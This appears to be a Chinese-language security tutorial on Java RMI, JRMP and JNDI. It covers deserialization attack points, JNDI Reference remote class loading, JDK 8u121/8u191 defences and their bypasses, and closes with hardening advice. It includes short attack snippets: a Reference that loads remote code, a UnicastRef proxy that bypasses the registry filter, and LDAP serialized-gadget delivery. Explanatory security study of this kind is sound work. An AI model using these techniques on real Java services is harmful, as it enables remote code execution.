搞懂RMI、JRMP、JNDI-终结篇
字数 1863 2025-08-22 12:23:36
RMI、JRMP与JNDI安全机制深度解析
0x01 前言
本文深入分析Java远程方法调用(RMI)、Java远程方法协议(JRMP)和Java命名与目录接口(JNDI)的安全机制,通过源码层面剖析不同JDK版本下的攻击与防御策略。
0x02 RMI基础架构
RMI核心组件
-
RMI Registry:注册中心服务,存储远程对象引用
- 创建方式:
LocateRegistry.createRegistry(1099) - 返回类型:
sun.rmi.registry.RegistryImpl
- 创建方式:
-
服务端:提供远程服务的实现
- 必须实现
Remote接口并继承UnicastRemoteObject - 注册示例:
LocateRegistry.getRegistry("127.0.0.1", 1099).bind("hello", new HelloServiceImpl());
- 必须实现
-
客户端:调用远程服务的消费者
- 查找示例:
HelloService helloService = (HelloService) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
- 查找示例:
通信流程
- 服务端通过
bind()将stub对象发送到RMI Registry - 客户端通过
lookup()从RMI Registry获取stub - 客户端通过stub对象发起远程方法调用
0x03 攻击面分析
攻击目标分类
- RMI Client:通过恶意服务端或Registry攻击
- RMI Server:通过恶意客户端攻击
- RMI Registry:通过恶意客户端或服务端攻击
攻击方式
1. 反序列化攻击
-
Registry攻击点:
bind()操作:case 0处理逻辑中反序列化参数lookup()操作:case 2处理逻辑中反序列化返回数据
-
服务端攻击点:
- 远程方法调用参数反序列化
- 方法返回结果反序列化
2. Reference远程代码加载
通过JNDI Reference实现无gadget依赖的RCE:
Reference reference = new Reference("Calc","Calc","http://localhost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Calc",referenceWrapper);
客户端触发:
new InitialContext().lookup("rmi://127.0.0.1:1099/Calc");
0x04 JDK版本演进与防御机制
jdk8u121之前
攻击特点:
- 无限制的反序列化
- 可直接使用各种gadget进行攻击
- JNDI Reference远程加载无限制
jdk8u121关键变更
新增防御:
-
RMI反序列化白名单:
- 实现于
sun.rmi.registry.RegistryImpl#registryFilter - 允许的类:
String.classNumber.classRemote.classProxy.classUnicastRef.classRMIClientSocketFactory.classRMIServerSocketFactory.classActivationID.classUID.class
- 实现于
-
RMI Reference信任机制:
- 系统属性
com.sun.jndi.rmi.object.trustURLCodebase默认为false
- 系统属性
绕过方法:
- 使用
UnicastRef白名单类构造JRMP攻击:ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj);
jdk8u191关键变更
新增防御:
- LDAP Reference信任机制:
- 系统属性
com.sun.jndi.ldap.object.trustURLCodebase默认为false
- 系统属性
绕过方法:
-
使用LDAP的
javaSerializedData属性传递序列化gadget:e.addAttribute("javaSerializedData", serializedGadget);触发点在
com.sun.jndi.ldap.Obj#deserializeObject:private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException { // 反序列化逻辑 }
0x05 攻击技术总结
| 攻击方式 | 适用版本 | 依赖条件 | 备注 |
|---|---|---|---|
| 直接反序列化 | <8u121 | 需要gadget依赖 | 利用bind/lookup |
| JNDI Reference(RMI) | <8u121 | 无gadget依赖 | 远程加载代码 |
| JNDI Reference(LDAP) | 8u121-8u191 | 无gadget依赖 | 远程加载代码 |
| JRMP Gadget | >=8u121 | 需要gadget依赖 | 绕过白名单 |
| LDAP SerializedData | >=8u191 | 需要gadget依赖 | 替代Reference |
0x06 防御建议
- 升级JDK至最新版本
- 限制网络访问,特别是RMI Registry端口
- 移除不必要的gadget依赖
- 配置安全策略文件限制代码加载
- 监控可疑的JRMP和LDAP连接